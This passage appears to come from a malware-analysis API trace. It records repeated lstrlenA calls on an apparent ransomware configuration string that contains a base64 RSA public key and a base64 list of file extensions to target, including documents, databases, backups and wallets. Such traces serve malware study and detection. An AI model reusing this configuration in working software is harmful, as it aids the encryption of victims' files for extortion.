FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0